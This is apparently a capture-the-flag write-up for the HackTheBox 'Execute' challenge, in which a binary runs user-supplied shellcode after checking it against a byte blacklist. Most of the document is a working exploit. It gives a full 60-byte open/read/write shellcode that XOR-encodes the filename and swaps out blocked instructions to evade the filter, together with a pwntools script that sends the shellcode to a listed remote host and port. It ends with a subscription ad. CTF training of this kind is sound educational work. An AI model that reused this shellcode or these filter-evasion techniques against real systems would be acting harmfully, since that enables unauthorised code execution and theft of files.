pwnfreeeasy-medium

Execute (pwn_execute)

hackthebox

Task: Write shellcode to read flag.txt under a 60-byte limit with a 16-byte blacklist filter. Solution: Use open/read/write (ORW) syscall chain instead of blocked execve, XOR-encode the "flag.txt" string with key 0x22 to bypass banned bytes, substitute blocked instructions with push/pop equivalents, and decode the string at runtime with a compact loop.

$ ls tags/ techniques/
blacklist_bypassorw_shellcodexor_string_encodinginstruction_substitutionstack_shellcode

Execute (pwn_execute) — HackTheBox

Description

Hey, just because I am hungry doesn't mean I'll execute everything

Remote: nc 83.136.253.132 37814

Files

  • execute — ELF 64-bit LSB PIE executable, x86-64, dynamically linked, not stripped
  • execute.c — Source code
  • flag.txt — Fake flag for local testing

Analysis

Binary Properties

PropertyValue
Archx86-64
RELROPartial
StackExecutable (-z execstack)
NXDisabled
PIEYes
CanaryNo

Source Code

The binary reads up to 60 bytes of user input into a stack buffer, checks every byte against a 16-byte blacklist, and if all bytes pass — casts the buffer to a function pointer and calls it. Classic shellcode execution with a twist: a byte-level blacklist filter.

int check(char *a, char *b, int size, int op) { for(int i = 0; i < op; i++) { for(int j = 0; j < size-1; j++) { if(a[i] == b[j]) return 0; } } return 1337; }

The check() function iterates over every blacklist byte (a[i]) and every input byte (b[j]). If any match is found, it returns 0 (fail). Otherwise returns 1337 (pass).

The Blacklist (16 bytes)

HexASCIISignificance
0x3b;execve syscall number (59)
0x54T
0x62bPart of /bin/sh
0x69iPart of /bin/sh
0x6enPart of /bin/sh
0x73sPart of /bin/sh
0x68hPart of /bin/sh + push imm32 opcode
0xf6Used in xor rsi, rsi encoding
0xd2Used in xor rdx, rdx encoding
0xc0Used in xor rax, rax / xor eax, eax encoding
0x5f_pop rdi opcode
0xc9leave / used in xor ecx, ecx
0x66fPart of "flag" + operand size prefix
0x6clPart of "flag"
0x61aPart of "flag"
0x67gPart of "flag" + address size prefix

What's Blocked

  1. execve("/bin/sh", ...) — Completely blocked: syscall number 0x3b, all chars of /bin/sh, and pop rdi (0x5f) are banned.
  2. Direct "flag.txt" string — All four letters of "flag" are banned bytes.
  3. Common zeroing instructionsxor rax,rax (uses 0xc0), xor rsi,rsi (uses 0xf6), xor rdx,rdx (uses 0xd2).
  4. push imm32 (0x68) — Can't push strings directly onto stack.
  5. pop rdi (0x5f) — Can't use standard calling convention setup.

What's NOT Blocked

  • syscall (0x0f 0x05)
  • push imm8; pop reg pattern (e.g., 6a 00 58 for zeroing rax)
  • mov rdi, rsp (0x48 0x89 0xe7)
  • movabs rax, imm64 (0x48 0xb8 ...)
  • xor byte [rdi], imm8 (0x80 0x37 KEY)
  • xchg rax, rdi (0x48 0x97)
  • loop (0xe2)

Solution

Strategy: Open/Read/Write (ORW)

Since execve is too heavily restricted, use a file-reading shellcode chain:

  1. open("flag.txt", O_RDONLY) — syscall 2
  2. read(fd, buffer, 80) — syscall 0
  3. write(STDOUT, buffer, 80) — syscall 1

Bypassing the Blacklist

String encoding: XOR-encode "flag.txt" with key 0x22:

"flag.txt" = 66 6c 61 67 2e 74 78 74
XOR 0x22   = 44 4e 43 45 0c 56 5a 56  (all clean!)

Key 0x22 was chosen because ALL encoded bytes avoid the blacklist.

Instruction substitutions:

Blocked instructionReplacementBytes
xor rax, rax (uses 0xc0)push 0; pop rax6a 00 58
xor rsi, rsi (uses 0xf6)push 0; pop rsi6a 00 5e
xor rdx, rdx (uses 0xd2)push 0; pop rdx6a 00 5a
pop rdi (0x5f)mov rdi, rsp or xchg rax, rdi48 89 e7 / 48 97
push imm32 (0x68)movabs rax, imm64; push rax48 b8 ... 50

Shellcode Breakdown (60 bytes exactly)

Phase 1 — String setup (13 bytes):

push 0 ; null terminator qword movabs rax, 0x565a560c45434e44 ; XOR-encoded "flag.txt" push rax ; string on stack

Phase 2 — XOR decode loop (14 bytes):

mov rdi, rsp ; point to encoded string push 8; pop rcx ; counter = 8 .loop: xor byte [rdi], 0x22 ; decode one byte inc rdi loop .loop ; decrement rcx, jump if != 0

Phase 3 — open("flag.txt", 0) (11 bytes):

mov rdi, rsp ; filename pointer push 0; pop rsi ; flags = O_RDONLY push 2; pop rax ; syscall 2 = open syscall

Phase 4 — read(fd, rsp, 0x50) (13 bytes):

xchg rax, rdi ; fd from open() into rdi mov rsi, rsp ; buffer = stack push 0x50; pop rdx ; count = 80 push 0; pop rax ; syscall 0 = read syscall

Phase 5 — write(1, rsp, 0x50) (9 bytes):

xor edi, edi ; rdi = 0 inc edi ; rdi = 1 (stdout) push 1; pop rax ; syscall 1 = write syscall ; rsi/rdx preserved from read()

Exploit Script

#!/usr/bin/env python3 from pwn import * context.arch = "amd64" HOST = "83.136.253.132" PORT = 37814 BLACKLIST = set(b"\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67") sc = b"" # Phase 1: Push XOR-encoded "flag.txt\0" on stack (13 bytes) sc += b"\x6a\x00" # push 0 sc += b"\x48\xb8\x44\x4e\x43\x45\x0c\x56\x5a\x56" # movabs rax, encoded sc += b"\x50" # push rax # Phase 2: XOR decode loop (14 bytes) sc += b"\x48\x89\xe7" # mov rdi, rsp sc += b"\x6a\x08\x59" # push 8; pop rcx sc += b"\x80\x37\x22" # xor byte [rdi], 0x22 sc += b"\x48\xff\xc7" # inc rdi sc += b"\xe2\xf8" # loop -8 # Phase 3: open("flag.txt", 0) (11 bytes) sc += b"\x48\x89\xe7" # mov rdi, rsp sc += b"\x6a\x00\x5e" # push 0; pop rsi sc += b"\x6a\x02\x58" # push 2; pop rax sc += b"\x0f\x05" # syscall # Phase 4: read(fd, rsp, 0x50) (13 bytes) sc += b"\x48\x97" # xchg rax, rdi sc += b"\x48\x89\xe6" # mov rsi, rsp sc += b"\x6a\x50\x5a" # push 0x50; pop rdx sc += b"\x6a\x00\x58" # push 0; pop rax sc += b"\x0f\x05" # syscall # Phase 5: write(1, rsp, 0x50) (9 bytes) sc += b"\x31\xff" # xor edi, edi sc += b"\xff\xc7" # inc edi sc += b"\x6a\x01\x58" # push 1; pop rax sc += b"\x0f\x05" # syscall assert len(sc) == 60 for i, b in enumerate(sc): assert b not in BLACKLIST, f"Bad byte 0x{b:02x} at offset {i}" r = remote(HOST, PORT) r.recvuntil(b"everything\n") r.send(sc) result = r.recvall(timeout=5) if b"HTB{" in result: flag = result[result.index(b"HTB{"):result.index(b"}") + 1] print(f"FLAG: {flag.decode()}")

Key Indicators

Use this technique when you see:

  • Shellcode execution with a byte-level blacklist filter
  • execve syscall number (0x3b) is banned — switch to ORW chain
  • String characters are banned — use XOR encoding with a clean key
  • Common instruction encodings blocked — use push imm8; pop reg as universal substitute for xor reg, reg
  • Tight size constraints — use xchg rax, rdi (2 bytes) instead of mov rdi, rax (3 bytes), loop for compact iteration

Lessons Learned

  1. ORW > execve — When execve is restricted, open/read/write is the reliable fallback for flag exfiltration.
  2. XOR key selection — Systematically check that ALL encoded bytes avoid the blacklist. A simple script iterating keys 0x01-0xFF finds valid keys quickly.
  3. Instruction polymorphism — x86-64 has many equivalent instruction encodings. push/pop is almost universally clean and can replace most register operations.
  4. Manual byte audit — Always verify every shellcode byte against the blacklist programmatically before sending.
  5. Size budgeting — With a 60-byte limit, plan each phase's byte count upfront. The XOR decode loop (14 bytes) is more compact than 8 individual xor byte instructions (40 bytes).

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups